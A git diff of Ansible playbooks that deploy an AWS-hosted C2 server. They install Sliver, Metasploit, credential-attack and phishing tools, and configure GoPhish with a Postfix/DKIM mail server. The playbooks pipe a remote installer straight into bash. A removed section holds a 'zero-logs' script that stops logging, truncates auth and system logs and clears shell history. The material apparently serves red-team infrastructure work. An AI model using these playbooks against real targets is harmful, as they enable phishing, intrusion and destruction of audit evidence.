reconfiging everything
This commit is contained in:
@@ -1,479 +0,0 @@
|
|||||||
---
|
|
||||||
- name: Create and configure AWS EC2 instance for C2 Server
|
|
||||||
hosts: localhost
|
|
||||||
gather_facts: false
|
|
||||||
connection: local
|
|
||||||
vars_files:
|
|
||||||
- vars.yaml
|
|
||||||
vars:
|
|
||||||
ssh_user: "kali"
|
|
||||||
|
|
||||||
tasks:
|
|
||||||
- block:
|
|
||||||
- name: Select a random AWS region
|
|
||||||
set_fact:
|
|
||||||
selected_aws_region: "{{ aws_region_choices | random }}"
|
|
||||||
|
|
||||||
- name: Set AMI ID based on region
|
|
||||||
set_fact:
|
|
||||||
aws_ami: "{{ ami_map[selected_aws_region] }}"
|
|
||||||
|
|
||||||
- name: Create an EC2 key pair
|
|
||||||
amazon.aws.ec2_key:
|
|
||||||
access_key: "{{ aws_access_key }}"
|
|
||||||
secret_key: "{{ aws_secret_key }}"
|
|
||||||
name: "{{ instance_label }}"
|
|
||||||
region: "{{ selected_aws_region }}"
|
|
||||||
state: present
|
|
||||||
register: key_pair
|
|
||||||
|
|
||||||
- name: Save private key locally
|
|
||||||
copy:
|
|
||||||
content: "{{ key_pair.key.private_key }}"
|
|
||||||
dest: "~/.ssh/{{ instance_label }}.pem"
|
|
||||||
mode: "0600"
|
|
||||||
when: key_pair.changed
|
|
||||||
|
|
||||||
- name: Check if a security group with required properties already exists
|
|
||||||
amazon.aws.ec2_security_group_info:
|
|
||||||
filters:
|
|
||||||
group-name: "security-sg"
|
|
||||||
region: "{{ selected_aws_region }}"
|
|
||||||
aws_access_key: "{{ aws_access_key }}"
|
|
||||||
aws_secret_key: "{{ aws_secret_key }}"
|
|
||||||
register: existing_sg
|
|
||||||
ignore_errors: yes
|
|
||||||
|
|
||||||
- name: Create a security group for the instance if it doesn't exist
|
|
||||||
amazon.aws.ec2_group:
|
|
||||||
name: "security-sg"
|
|
||||||
description: "Completely open security group for instance {{ instance_label }}"
|
|
||||||
region: "{{ selected_aws_region }}"
|
|
||||||
aws_access_key: "{{ aws_access_key }}"
|
|
||||||
aws_secret_key: "{{ aws_secret_key }}"
|
|
||||||
rules:
|
|
||||||
- proto: -1 # Allow all protocols
|
|
||||||
cidr_ip: "0.0.0.0/0" # Open to all IPv4 addresses
|
|
||||||
rules_egress:
|
|
||||||
- proto: -1
|
|
||||||
cidr_ip: "0.0.0.0/0"
|
|
||||||
when: existing_sg.security_groups | length == 0
|
|
||||||
register: c2_sg_result
|
|
||||||
|
|
||||||
- name: Launch EC2 instance
|
|
||||||
amazon.aws.ec2_instance:
|
|
||||||
aws_access_key: "{{ aws_access_key | default(omit) }}"
|
|
||||||
aws_secret_key: "{{ aws_secret_key | default(omit) }}"
|
|
||||||
region: "{{ selected_aws_region }}"
|
|
||||||
name: "{{ instance_label }}"
|
|
||||||
image_id: "{{ aws_ami }}"
|
|
||||||
instance_type: "{{ aws_instance_type }}"
|
|
||||||
key_name: "{{ instance_label }}"
|
|
||||||
security_groups:
|
|
||||||
- "security-sg"
|
|
||||||
wait: no
|
|
||||||
volumes:
|
|
||||||
- device_name: "/dev/xvda"
|
|
||||||
ebs:
|
|
||||||
volume_size: 100
|
|
||||||
delete_on_termination: true
|
|
||||||
register: ec2_instance
|
|
||||||
|
|
||||||
- name: Set instance_id fact for cleanup
|
|
||||||
set_fact:
|
|
||||||
instance_id: "{{ ec2_instance.instance_ids[0] | default('') }}"
|
|
||||||
when: ec2_instance.instances is defined and ec2_instance.instances | length > 0
|
|
||||||
|
|
||||||
- name: Wait for EC2 instance to reach running state
|
|
||||||
amazon.aws.ec2_instance_info:
|
|
||||||
aws_access_key: "{{ aws_access_key | default(omit) }}"
|
|
||||||
aws_secret_key: "{{ aws_secret_key | default(omit) }}"
|
|
||||||
region: "{{ selected_aws_region }}"
|
|
||||||
instance_ids: "{{ ec2_instance.instance_ids }}"
|
|
||||||
register: instance_info
|
|
||||||
retries: 10
|
|
||||||
delay: 30
|
|
||||||
until: instance_info.instances[0].state.name == "running"
|
|
||||||
|
|
||||||
- name: Fetch the public IP of the instance
|
|
||||||
command: >
|
|
||||||
aws ec2 describe-instances
|
|
||||||
--filters "Name=tag:Name,Values={{ instance_label }}"
|
|
||||||
"Name=instance-state-name,Values=running"
|
|
||||||
--query "Reservations[*].Instances[*].PublicIpAddress"
|
|
||||||
--output text
|
|
||||||
register: instance_ip_result
|
|
||||||
environment:
|
|
||||||
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
|
|
||||||
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
|
|
||||||
AWS_DEFAULT_REGION: "{{ selected_aws_region }}"
|
|
||||||
retries: 3
|
|
||||||
delay: 200
|
|
||||||
until: instance_ip_result.stdout is not none and instance_ip_result.stdout != ""
|
|
||||||
|
|
||||||
- name: Set instance_public_ip variable
|
|
||||||
ansible.builtin.set_fact:
|
|
||||||
instance_public_ip: "{{ instance_ip_result.stdout | trim }}"
|
|
||||||
when: instance_ip_result is defined and instance_ip_result.stdout != ""
|
|
||||||
|
|
||||||
- name: Add EC2 instance to inventory
|
|
||||||
add_host:
|
|
||||||
name: "{{ instance_label }}"
|
|
||||||
ansible_host: "{{ instance_public_ip }}"
|
|
||||||
ansible_user: kali
|
|
||||||
ansible_ssh_private_key_file: "{{ private_key_path }}.pem"
|
|
||||||
ansible_ssh_common_args: '-o IdentitiesOnly=yes'
|
|
||||||
|
|
||||||
- name: Pause for 300 seconds to allow instance initialization
|
|
||||||
ansible.builtin.pause:
|
|
||||||
seconds: 300
|
|
||||||
|
|
||||||
- name: Validate SSH connection with retries
|
|
||||||
block:
|
|
||||||
- name: Attempt SSH connection
|
|
||||||
ansible.builtin.command:
|
|
||||||
cmd: ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -i "{{ private_key_path }}.pem" kali@{{ instance_public_ip }} echo "SSH connection successful"
|
|
||||||
delay: 100 # Adjust delay if needed
|
|
||||||
retries: 2
|
|
||||||
register: ssh_validation_result
|
|
||||||
ignore_errors: yes
|
|
||||||
|
|
||||||
- name: Fail if SSH validation fails
|
|
||||||
ansible.builtin.fail:
|
|
||||||
msg: "SSH connection validation failed. Check instance settings, SSH key, and security group."
|
|
||||||
when: (ssh_validation_result is not defined or ssh_validation_result.rc != 0)
|
|
||||||
|
|
||||||
- name: Configure AWS EC2 instance
|
|
||||||
hosts: "{{ instance_label }}"
|
|
||||||
gather_facts: true
|
|
||||||
tasks:
|
|
||||||
|
|
||||||
- name: Set a custom MOTD
|
|
||||||
template:
|
|
||||||
src: motd-aws.j2
|
|
||||||
dest: /etc/motd
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
become: true
|
|
||||||
vars:
|
|
||||||
letsencrypt_email: "{{ letsencrypt_email }}"
|
|
||||||
mail_hostname: "{{ mail_hostname }}"
|
|
||||||
domain: "{{ domain }}"
|
|
||||||
gophish_admin_domain: "{{ gophish_admin_domain }}"
|
|
||||||
gophish_site_domain: "{{ gophish_site_domain }}"
|
|
||||||
|
|
||||||
- name: Hush Default Login Message
|
|
||||||
become: true
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
rm -rf '/usr/bin/kali-motd'
|
|
||||||
|
|
||||||
- name: Update apt package list
|
|
||||||
ansible.builtin.apt:
|
|
||||||
update_cache: yes
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Install base utilities and tools via apt
|
|
||||||
become: true
|
|
||||||
ansible.builtin.apt:
|
|
||||||
name:
|
|
||||||
- git
|
|
||||||
- wget
|
|
||||||
- curl
|
|
||||||
- unzip
|
|
||||||
- python3-pip
|
|
||||||
- python3-venv
|
|
||||||
- tmux
|
|
||||||
- pipx
|
|
||||||
- nmap
|
|
||||||
- tcpdump
|
|
||||||
- hydra
|
|
||||||
- john
|
|
||||||
- hashcat
|
|
||||||
- sqlmap
|
|
||||||
- gobuster
|
|
||||||
- dirb
|
|
||||||
- enum4linux
|
|
||||||
- dnsenum
|
|
||||||
- seclists
|
|
||||||
- responder
|
|
||||||
- golang
|
|
||||||
- proxychains
|
|
||||||
- tor
|
|
||||||
- crackmapexec
|
|
||||||
- jq
|
|
||||||
- unzip
|
|
||||||
- postfix
|
|
||||||
- certbot
|
|
||||||
- opendkim
|
|
||||||
- opendkim-tools
|
|
||||||
- dovecot-core
|
|
||||||
- dovecot-imapd
|
|
||||||
- dovecot-pop3d
|
|
||||||
- dovecot-sieve
|
|
||||||
- dovecot-managesieved
|
|
||||||
- yq
|
|
||||||
state: present
|
|
||||||
|
|
||||||
- name: Ensure pipx path is configured
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
pipx ensurepath
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Create Tools dir
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
mkdir /home/kali/Tools
|
|
||||||
|
|
||||||
- name: Install tools via pipx
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
export PATH=$PATH:/root/.local/bin
|
|
||||||
pipx ensurepath
|
|
||||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
|
||||||
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
|
||||||
pipx install impacket
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Download Kerbrute
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
mkdir -p /home/kali/Tools/Kerbrute
|
|
||||||
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/kali/Tools/Kerbrute/kerbrute
|
|
||||||
chmod +x /home/kali/Tools/Kerbrute/kerbrute
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Clone SharpCollection nightly builds
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/Flangvik/SharpCollection.git
|
|
||||||
dest: /home/kali/Tools/SharpCollection
|
|
||||||
version: master
|
|
||||||
|
|
||||||
- name: Clone PEASS-ng
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/carlospolop/PEASS-ng.git
|
|
||||||
dest: /home/kali/Tools/PEASS-ng
|
|
||||||
|
|
||||||
- name: Clone MailSniper
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/dafthack/MailSniper.git
|
|
||||||
dest: /home/kali/Tools/MailSniper
|
|
||||||
|
|
||||||
- name: Clone Inveigh
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
|
||||||
dest: /home/kali/Tools/Inveigh
|
|
||||||
|
|
||||||
- name: Install Sliver C2 server
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl https://sliver.sh/install | bash
|
|
||||||
systemctl enable sliver
|
|
||||||
systemctl start sliver
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Install Metasploit Framework (Nightly Build)
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /home/kali/Tools/msfinstall
|
|
||||||
chmod 755 /home/kali/Tools/msfinstall
|
|
||||||
/home/kali/Tools/msfinstall
|
|
||||||
become: true
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Grab GoPhish
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/kali/Tools/gophish.zip
|
|
||||||
unzip /home/kali/Tools/gophish.zip -d /home/kali/Tools/gophish
|
|
||||||
rm -rf /home/kali/Tools/gophish.zip
|
|
||||||
chmod +x /home/kali/Tools/gophish
|
|
||||||
|
|
||||||
- name: Deploy Gophish config.json with custom admin port
|
|
||||||
become: true
|
|
||||||
template:
|
|
||||||
src: gophish-config.j2
|
|
||||||
dest: /home/kali/Tools/gophish/config.json
|
|
||||||
owner: kali
|
|
||||||
group: kali
|
|
||||||
mode: '0644'
|
|
||||||
vars:
|
|
||||||
gophish_admin_port: "{{ gophish_admin_port }}"
|
|
||||||
domain: "{{ domain }}"
|
|
||||||
|
|
||||||
- name: Configure Postfix main.cf
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/postfix/main.cf
|
|
||||||
regexp: "{{ item.regexp }}"
|
|
||||||
line: "{{ item.line }}"
|
|
||||||
with_items:
|
|
||||||
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
|
||||||
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
|
||||||
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
|
||||||
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
|
||||||
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
|
||||||
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
|
||||||
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
|
||||||
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
|
||||||
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
|
||||||
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
|
||||||
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
|
||||||
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
|
||||||
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
|
||||||
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
|
||||||
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
|
||||||
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
|
||||||
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
|
||||||
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure OpenDKIM
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/opendkim.conf
|
|
||||||
regexp: "{{ item.regexp }}"
|
|
||||||
line: "{{ item.line }}"
|
|
||||||
with_items:
|
|
||||||
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
|
||||||
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
|
||||||
- { regexp: '^Selector', line: "Selector mail" }
|
|
||||||
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
- { regexp: '^Syslog', line: "Syslog yes" }
|
|
||||||
- { regexp: '^UMask', line: "UMask 002" }
|
|
||||||
- { regexp: '^Mode', line: "Mode sv" }
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create DKIM directory
|
|
||||||
file:
|
|
||||||
path: /etc/opendkim/keys/{{ domain }}
|
|
||||||
state: directory
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0700
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Generate DKIM keys
|
|
||||||
command: >
|
|
||||||
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
|
||||||
args:
|
|
||||||
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Set permissions for DKIM keys
|
|
||||||
file:
|
|
||||||
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0600
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure OpenDKIM TrustedHosts
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
127.0.0.1
|
|
||||||
::1
|
|
||||||
localhost
|
|
||||||
{{ domain }}
|
|
||||||
dest: /etc/opendkim/TrustedHosts
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0644
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Enable submission port (587) in master.cf
|
|
||||||
blockinfile:
|
|
||||||
path: /etc/postfix/master.cf
|
|
||||||
insertafter: '^#submission'
|
|
||||||
block: |
|
|
||||||
submission inet n - y - - smtpd
|
|
||||||
-o syslog_name=postfix/submission
|
|
||||||
-o smtpd_tls_security_level=encrypt
|
|
||||||
-o smtpd_sasl_auth_enable=yes
|
|
||||||
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
|
||||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure Dovecot for Postfix SASL
|
|
||||||
blockinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-master.conf
|
|
||||||
insertafter: '^service auth {'
|
|
||||||
block: |
|
|
||||||
# Postfix smtp-auth
|
|
||||||
unix_listener /var/spool/postfix/private/auth {
|
|
||||||
mode = 0660
|
|
||||||
user = postfix
|
|
||||||
group = postfix
|
|
||||||
}
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Set Dovecot auth_mechanisms
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
regexp: '^auth_mechanisms'
|
|
||||||
line: 'auth_mechanisms = plain login'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create Dovecot password file for SASL authentication
|
|
||||||
file:
|
|
||||||
path: /etc/dovecot/passwd
|
|
||||||
state: touch
|
|
||||||
mode: '0600'
|
|
||||||
owner: dovecot
|
|
||||||
group: dovecot
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Add SMTP auth user to Dovecot
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/dovecot/passwd
|
|
||||||
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Disable system auth and use passwd-file
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
regexp: '^!include auth-system.conf.ext'
|
|
||||||
line: '#!include auth-system.conf.ext'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Add auth-passwdfile configuration
|
|
||||||
blockinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
insertafter: '^auth_mechanisms ='
|
|
||||||
block: |
|
|
||||||
passdb {
|
|
||||||
driver = passwd-file
|
|
||||||
args = scheme=sha512_crypt /etc/dovecot/passwd
|
|
||||||
}
|
|
||||||
userdb {
|
|
||||||
driver = static
|
|
||||||
args = uid=vmail gid=vmail home=/var/vmail/%u
|
|
||||||
}
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create vmail group
|
|
||||||
group:
|
|
||||||
name: vmail
|
|
||||||
gid: 5000
|
|
||||||
state: present
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create vmail user
|
|
||||||
user:
|
|
||||||
name: vmail
|
|
||||||
uid: 5000
|
|
||||||
group: vmail
|
|
||||||
create_home: no
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Restart Postfix
|
|
||||||
service:
|
|
||||||
name: postfix
|
|
||||||
state: restarted
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Restart Dovecot
|
|
||||||
service:
|
|
||||||
name: dovecot
|
|
||||||
state: restarted
|
|
||||||
become: true
|
|
||||||
+98
-331
@@ -1,381 +1,148 @@
|
|||||||
---
|
---
|
||||||
|
# AWS C2 Deployment Playbook
|
||||||
|
|
||||||
- name: Deploy AWS C2 server
|
- name: Deploy AWS C2 server
|
||||||
hosts: localhost
|
hosts: localhost
|
||||||
gather_facts: false
|
gather_facts: false
|
||||||
connection: local
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
region: "{{ aws_region | default('us-east-1') }}"
|
# Default values for required variables
|
||||||
instance_type: "{{ size | default('t2.medium') }}"
|
ssh_user: "{{ ssh_user | default('kali') }}"
|
||||||
instance_name: "{{ c2_name | default('c2') }}"
|
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
|
||||||
domain: "{{ domain | default('example.com') }}"
|
instance_type: "{{ aws_instance_type | default('t2.medium') }}"
|
||||||
c2_subdomain: "mail"
|
|
||||||
|
# Generate random instance name if not provided
|
||||||
|
c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Set a random AWS region if not specified
|
- name: Validate required AWS credentials
|
||||||
set_fact:
|
assert:
|
||||||
selected_aws_region: "{{ aws_region_choices | random }}"
|
that:
|
||||||
when: aws_region is not defined
|
- aws_access_key is defined and aws_access_key != ""
|
||||||
|
- aws_secret_key is defined and aws_secret_key != ""
|
||||||
- name: Create an EC2 key pair
|
fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
|
||||||
|
|
||||||
|
- name: Create EC2 key pair for C2
|
||||||
amazon.aws.ec2_key:
|
amazon.aws.ec2_key:
|
||||||
name: "{{ instance_name }}"
|
access_key: "{{ aws_access_key }}"
|
||||||
region: "{{ region }}"
|
secret_key: "{{ aws_secret_key }}"
|
||||||
|
name: "{{ c2_name }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
state: present
|
state: present
|
||||||
register: key_pair
|
register: c2_key_pair
|
||||||
|
|
||||||
- name: Save private key locally
|
- name: Save C2 private key locally
|
||||||
copy:
|
copy:
|
||||||
content: "{{ key_pair.key.private_key }}"
|
content: "{{ c2_key_pair.key.private_key }}"
|
||||||
dest: "~/.ssh/{{ instance_name }}.pem"
|
dest: "~/.ssh/{{ c2_name }}.pem"
|
||||||
mode: "0600"
|
mode: "0600"
|
||||||
when: key_pair.changed
|
when: c2_key_pair.changed and c2_key_pair.key.private_key is defined
|
||||||
|
|
||||||
- name: Create security group for C2 server
|
- name: Create a security group for the C2 server
|
||||||
amazon.aws.ec2_group:
|
amazon.aws.ec2_group:
|
||||||
name: "{{ instance_name }}-sg"
|
access_key: "{{ aws_access_key }}"
|
||||||
description: "Security group for C2 server"
|
secret_key: "{{ aws_secret_key }}"
|
||||||
region: "{{ region }}"
|
name: "{{ c2_name }}-sg"
|
||||||
|
description: "Security group for C2 server {{ c2_name }}"
|
||||||
|
region: "{{ aws_region }}"
|
||||||
rules:
|
rules:
|
||||||
- proto: tcp
|
- proto: tcp
|
||||||
ports:
|
ports:
|
||||||
- 22
|
- 22
|
||||||
- 50051 # Sliver gRPC port
|
- 80
|
||||||
- 8888 # C2 HTTP listener
|
- 443
|
||||||
- 8443 # Beacon server
|
- 8888 # Sliver HTTP listener
|
||||||
|
- 50051 # Sliver gRPC port
|
||||||
|
- 31337 # Additional C2 port
|
||||||
cidr_ip: 0.0.0.0/0
|
cidr_ip: 0.0.0.0/0
|
||||||
rules_egress:
|
rules_egress:
|
||||||
- proto: -1
|
- proto: -1
|
||||||
cidr_ip: 0.0.0.0/0
|
cidr_ip: 0.0.0.0/0
|
||||||
register: c2_sg
|
register: c2_sg_result
|
||||||
|
|
||||||
- name: Launch C2 EC2 instance
|
- name: Launch C2 EC2 instance
|
||||||
amazon.aws.ec2_instance:
|
amazon.aws.ec2_instance:
|
||||||
name: "{{ instance_name }}"
|
access_key: "{{ aws_access_key }}"
|
||||||
region: "{{ region }}"
|
secret_key: "{{ aws_secret_key }}"
|
||||||
image_id: "{{ ami_map[region] }}"
|
region: "{{ aws_region }}"
|
||||||
|
name: "{{ c2_name }}"
|
||||||
|
image_id: "{{ ami_map[aws_region] }}"
|
||||||
instance_type: "{{ instance_type }}"
|
instance_type: "{{ instance_type }}"
|
||||||
key_name: "{{ instance_name }}"
|
key_name: "{{ c2_name }}"
|
||||||
security_group: "{{ c2_sg.group_id }}"
|
security_groups:
|
||||||
network:
|
- "{{ c2_name }}-sg"
|
||||||
assign_public_ip: true
|
|
||||||
tags:
|
|
||||||
Name: "{{ instance_name }}"
|
|
||||||
Role: "c2"
|
|
||||||
wait: yes
|
wait: yes
|
||||||
|
tags:
|
||||||
|
Name: "{{ c2_name }}"
|
||||||
|
Role: "c2"
|
||||||
|
volumes:
|
||||||
|
- device_name: "/dev/xvda"
|
||||||
|
ebs:
|
||||||
|
volume_size: 100
|
||||||
|
delete_on_termination: true
|
||||||
register: c2_instance
|
register: c2_instance
|
||||||
|
|
||||||
- name: Save C2 IP
|
- name: Set c2_ip for later use
|
||||||
set_fact:
|
set_fact:
|
||||||
c2_ip: "{{ c2_instance.instances[0].public_ip_address }}"
|
c2_ip: "{{ c2_instance.instances[0].public_ip_address }}"
|
||||||
|
c2_instance_id: "{{ c2_instance.instances[0].instance_id }}"
|
||||||
|
|
||||||
- name: Wait for SSH to become available
|
- name: Wait for C2 SSH to be available
|
||||||
wait_for:
|
wait_for:
|
||||||
host: "{{ c2_ip }}"
|
host: "{{ c2_ip }}"
|
||||||
port: 22
|
port: 22
|
||||||
delay: 10
|
delay: 30
|
||||||
timeout: 300
|
timeout: 300
|
||||||
state: started
|
state: started
|
||||||
|
|
||||||
- name: Add C2 server to inventory
|
- name: Add C2 to inventory
|
||||||
add_host:
|
add_host:
|
||||||
name: c2
|
name: "c2"
|
||||||
|
groups: "c2servers"
|
||||||
ansible_host: "{{ c2_ip }}"
|
ansible_host: "{{ c2_ip }}"
|
||||||
ansible_user: "{{ ssh_user | default('kali') }}"
|
ansible_user: "{{ ssh_user }}"
|
||||||
ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
|
ansible_ssh_private_key_file: "~/.ssh/{{ c2_name }}.pem"
|
||||||
groups: c2servers
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||||
|
|
||||||
- name: Configure C2 server
|
- name: Configure C2 server
|
||||||
hosts: c2servers
|
hosts: c2servers
|
||||||
become: true
|
become: true
|
||||||
|
gather_facts: true
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
domain: "{{ domain | default('example.com') }}"
|
redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}"
|
||||||
c2_subdomain: "mail"
|
c2_subdomain: "{{ c2_subdomain | default('mail') }}"
|
||||||
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
|
||||||
zero_logs: "{{ zero_logs | default(true) }}"
|
|
||||||
redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
|
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Update apt cache
|
- name: Wait for apt to be available
|
||||||
apt:
|
apt:
|
||||||
update_cache: yes
|
update_cache: yes
|
||||||
|
register: apt_result
|
||||||
|
until: apt_result is success
|
||||||
|
retries: 5
|
||||||
|
delay: 10
|
||||||
|
|
||||||
- name: Install required packages
|
- name: Include common tool installation tasks
|
||||||
apt:
|
include_tasks: "../tasks/install_tools.yml"
|
||||||
name:
|
|
||||||
- git
|
- name: Include common C2 configuration tasks
|
||||||
- wget
|
include_tasks: "../tasks/configure_c2.yml"
|
||||||
- curl
|
|
||||||
- python3-pip
|
- name: Include common security hardening tasks
|
||||||
- golang
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
- tmux
|
|
||||||
- nmap
|
- name: Include common mail server configuration tasks
|
||||||
- jq
|
include_tasks: "../tasks/configure_mail.yml"
|
||||||
- secure-delete
|
|
||||||
- socat
|
- name: Print deployment summary
|
||||||
state: present
|
debug:
|
||||||
|
msg:
|
||||||
- name: Create directories for C2 operation
|
- "C2 Server Deployment Complete!"
|
||||||
file:
|
- "-----------------------------"
|
||||||
path: "{{ item }}"
|
- "C2 Server IP: {{ ansible_host }}"
|
||||||
state: directory
|
- "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
|
||||||
mode: '0700'
|
- "GoPhish Admin Port: {{ gophish_admin_port }}"
|
||||||
owner: root
|
- "SSH Key: ~/.ssh/{{ hostvars['localhost']['c2_name'] }}.pem"
|
||||||
group: root
|
when: not disable_summary | default(false)
|
||||||
with_items:
|
|
||||||
- /opt/c2
|
|
||||||
- /opt/beacons
|
|
||||||
- /opt/payloads
|
|
||||||
|
|
||||||
- name: Create clean-logs.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Zero-logs maintenance script
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Disable syslog temporarily
|
|
||||||
systemctl stop rsyslog 2>/dev/null
|
|
||||||
systemctl stop systemd-journald 2>/dev/null
|
|
||||||
|
|
||||||
# Clear system logs
|
|
||||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
|
||||||
journalctl --vacuum-time=1s 2>/dev/null
|
|
||||||
|
|
||||||
# Clear bash history
|
|
||||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
|
||||||
